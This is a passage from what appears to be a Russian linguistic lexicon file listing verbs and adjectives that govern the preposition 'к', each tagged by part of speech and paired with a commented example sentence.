rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон 